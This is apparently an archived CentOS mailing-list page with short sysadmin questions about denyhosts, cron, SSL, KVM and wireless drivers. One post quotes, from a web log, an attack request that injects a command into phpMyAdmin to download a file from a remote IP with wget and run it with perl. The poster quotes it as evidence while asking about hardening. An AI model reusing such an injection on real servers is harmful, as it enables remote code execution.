Crontab Nobody
by Anne Wilson 27 Aug '09

27 Aug '09

I have a crontab for Nobody. I tried to delete it in a root kcron, which I'm sure is how I dealt with this in the past, but it seems impossible to delete. Should I delete the file /var/spool/cron/nobody? It is owned root:root, perms 600. Anne -- New to KDE4? - get help from http://userbase.kde.org Just found a cool new feature? Add it to UserBase

denyhosts configuration
by Dave 26 Aug '09

26 Aug '09

Hello, I've installed denyhosts on centos 5.3 trying to block automated attacks on ssh. It appears to be working in that entries are being added to /etc/hosts.deny yet the daily emails sent from denyhosts show only one ip being added perday when the total is many more than that. My config is below, i've gone over it and am not seeing what i missed. Suggestions welcome. I was also wondering if denyhosts can block other types of robot attacks such as smtp or port 80? Thanks. Dave. SECURE_LOG = /var/log/secure HOSTS_DENY = /etc/hosts.deny PURGE_DENY = 1w BLOCK_SERVICE = sshd DENY_THRESHOLD_INVALID = 2 DENY_THRESHOLD_VALID = 10 DENY_THRESHOLD_ROOT = 1 DENY_THRESHOLD_RESTRICTED = 1 WORK_DIR = /var/lib/denyhosts SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES HOSTNAME_LOOKUP=NO LOCK_FILE = /var/lock/subsys/denyhosts ADMIN_EMAIL = user(a)example.com SMTP_HOST = localhost SMTP_PORT = 25 SMTP_FROM = DenyHosts <nobody(a)example.com> SMTP_SUBJECT = DenyHosts Report from $[HOSTNAME] AGE_RESET_VALID=5d AGE_RESET_ROOT=25d AGE_RESET_RESTRICTED=25d AGE_RESET_INVALID=10d DAEMON_LOG = /var/log/denyhosts DAEMON_SLEEP = 30s DAEMON_PURGE = SYNC_SERVER = http://xmlrpc.denyhosts.net:9911 SYNC_INTERVAL = 1h SYNC_UPLOAD = yes SYNC_DOWNLOAD = yes SYNC_DOWNLOAD_THRESHOLD = 3 SYNC_DOWNLOAD_RESILIENCY = 2h

Mounting /tmp nosuid,noexec
by Chuck 26 Aug '09

26 Aug '09

Does mounting /tmp as noexec,nosuid break anything in CentOS 5? I've been in solaris land forever and a day and this is a pretty standard security measure. I noticed CentOS comes default mounting /tmp with both those options allowed.. I'm getting constant php hack attacks against (mostly script kiddie level stuff right now) my server and will rest much easier with this setting in place.. We've been evaluating numerous wiki products which are certain to have security holes as well as pypmyadmin... Seeing a lot of crap like this: 193.253.240.85 - - [23/Aug/2009:16:57:57 -0500] "GET /phpmyadmin/config/config.inc.php?c=cd%20/tmp;rm%20-rf%20font-nix;wget%2078.46.33.52/font-nix;perl%20font-nix HTTP/1.1" 404 230 (of course I use cryptic names for my phpmyadmin install directory as well as password protect the directory and make any sensitive config files readable only by the web server owner) Thx for any info rhugga

ssl certificate, maximum protection, on the budget?
by Dave 26 Aug '09

26 Aug '09

Hello, I've got a client who wants to go ssl. He's running a web server, smtp/pop, and ftps and imaps is coming as well. I'm looking for a wildcard ssl certificate i believe it's called but one on the budget plan. I am also wanting to ensure that the mod_ssl with httpd on the server is only using the strongest encryption methods and protocols. Thanks. Dave.

guys, i have the yum plugin -> fastest mirror . But not even once i have seen it selecting repos which are near my region such as japan or australia ( where i get the best speeds). Something is wrong. It seems stuck with these 3 sites ; Determining fastest mirrors * ftp-stud.fht-esslingen.de : 0.309373 secs * apt.sw.be : 0.483867 secs * fr2.rpmfind.net : 0.503842 secs

How to install kvm?
by Kanwar Ranbir Sandhu 26 Aug '09

26 Aug '09

Hello All, I want to install kvm in CentOS 5.3. The instructions on the wiki are fine and dandy, but the kmod-kvm package is for an older kernel. The box I want to install it on is up-to-date with the latest kernel packages. How do I install kvm on a fully updated CentOS 5.3 box? Is installing the older kernel my only option? BTW, I'd post this on the virt-list, but I have a hard time getting answers on that list. Regards, Ranbir -- Kanwar Ranbir Sandhu Linux 2.6.27.29-170.2.78.fc10.x86_64 x86_64 GNU/Linux 14:44:30 up 8 days, 15:41, 5 users, load average: 0.56, 0.22, 0.21

ath9k in CentOS 5
by James Szinger 26 Aug '09

26 Aug '09

Hi, I'm thinking about updating the wireless card on a CentOS 5.3 box. The Wiki at http://wiki.centos.org/HowTos/Laptops/Wireless says that the "ath9k driver ships with CentOS", but I can't find it. I've tried modinfo, locate, yum search, and yum provides, but they all come up empty. Am I missing something, or is the Wiki need correcting? I've also searched the CentOS forums and others share my confusion. Thanks, Jim
